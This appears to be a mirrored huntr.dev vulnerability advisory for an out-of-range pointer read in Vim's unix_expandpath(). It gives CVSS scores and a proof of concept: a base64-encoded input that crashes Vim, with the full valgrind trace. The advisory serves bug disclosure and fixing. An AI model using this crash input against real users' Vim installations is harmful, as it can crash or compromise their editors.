Lucene search

K
huntrAlkyne27230DA3-9B1A-4D5D-8CDF-4B1E62FCD782
HistoryFeb 19, 2022 - 5:59 a.m.

Use of Out-of-range Pointer Offset

2022-02-1905:59:12
alkyne
www.huntr.dev
7

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

40.7%

Description

Using out-of-range Pointer Offset occurs in unix_expandpath().

commit : e89bfd212b21c227f026e467f882c62cdd6e642d

Proof of Concept

$ echo -ne "c2UgbWwgd2ljCnRj+42NjaYq" | base64 -d > poc

# valgrind
$ ~/valgrind/vg-in-place -s ~/vim-debug/src/vim.debug -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
==1432983== Memcheck, a memory error detector
==1432983== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1432983== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyright info
==1432983== Command: /home/alkyne/vim-debug/src/vim.debug -u NONE -i NONE -n -X -Z -e -m -s -S mpoc -c :qa!
==1432983==
==1432983== Invalid read of size 2
==1432983==    at 0x1F3D40: unix_expandpath (filepath.c:3629)
==1432983==    by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983==    by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983==    by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==    by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==    by 0x166945: expand_files_and_dirs (cmdexpand.c:2255)
==1432983==    by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983==    by 0x1637A9: ExpandOne_start (cmdexpand.c:430)
==1432983==    by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983==    by 0x1D05F7: expand_filename (ex_docmd.c:4984)
==1432983==    by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983==    by 0x1C84D6: do_cmdline (ex_docmd.c:993)
==1432983==  Address 0xba37938 is not stack'd, malloc'd or (recently) free'd
==1432983==
==1432983==
==1432983== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1432983==    at 0x4A5055B: kill (syscall-template.S:78)
==1432983==    by 0x293982: may_core_dump (os_unix.c:3508)
==1432983==    by 0x293936: mch_exit (os_unix.c:3474)
==1432983==    by 0x411D66: getout (main.c:1719)
==1432983==    by 0x25691C: preserve_exit (misc1.c:2194)
==1432983==    by 0x291D57: deathtrap (os_unix.c:1154)
==1432983==    by 0x4A5020F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==1432983==    by 0x1F3D3F: unix_expandpath (filepath.c:3629)
==1432983==    by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983==    by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983==    by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==    by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==
==1432983== HEAP SUMMARY:
==1432983==     in use at exit: 100,893 bytes in 474 blocks
==1432983==   total heap usage: 1,031 allocs, 557 frees, 213,517 bytes allocated
==1432983==
==1432983== LEAK SUMMARY:
==1432983==    definitely lost: 1,232 bytes in 1 blocks
==1432983==    indirectly lost: 0 bytes in 0 blocks
==1432983==      possibly lost: 0 bytes in 0 blocks
==1432983==    still reachable: 99,661 bytes in 473 blocks
==1432983==         suppressed: 0 bytes in 0 blocks
==1432983== Rerun with --leak-check=full to see details of leaked memory
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==1432983==
==1432983== 1 errors in context 1 of 1:
==1432983== Invalid read of size 2
==1432983==    at 0x1F3D40: unix_expandpath (filepath.c:3629)
==1432983==    by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983==    by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983==    by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==    by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==    by 0x166945: expand_files_and_dirs (cmdexpand.c:2255)
==1432983==    by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983==    by 0x1637A9: ExpandOne_start (cmdexpand.c:430)
==1432983==    by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983==    by 0x1D05F7: expand_filename (ex_docmd.c:4984)
==1432983==    by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983==    by 0x1C84D6: do_cmdline (ex_docmd.c:993)
==1432983==  Address 0xba37938 is not stack'd, malloc'd or (recently) free'd
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

40.7%

Related for 27230DA3-9B1A-4D5D-8CDF-4B1E62FCD782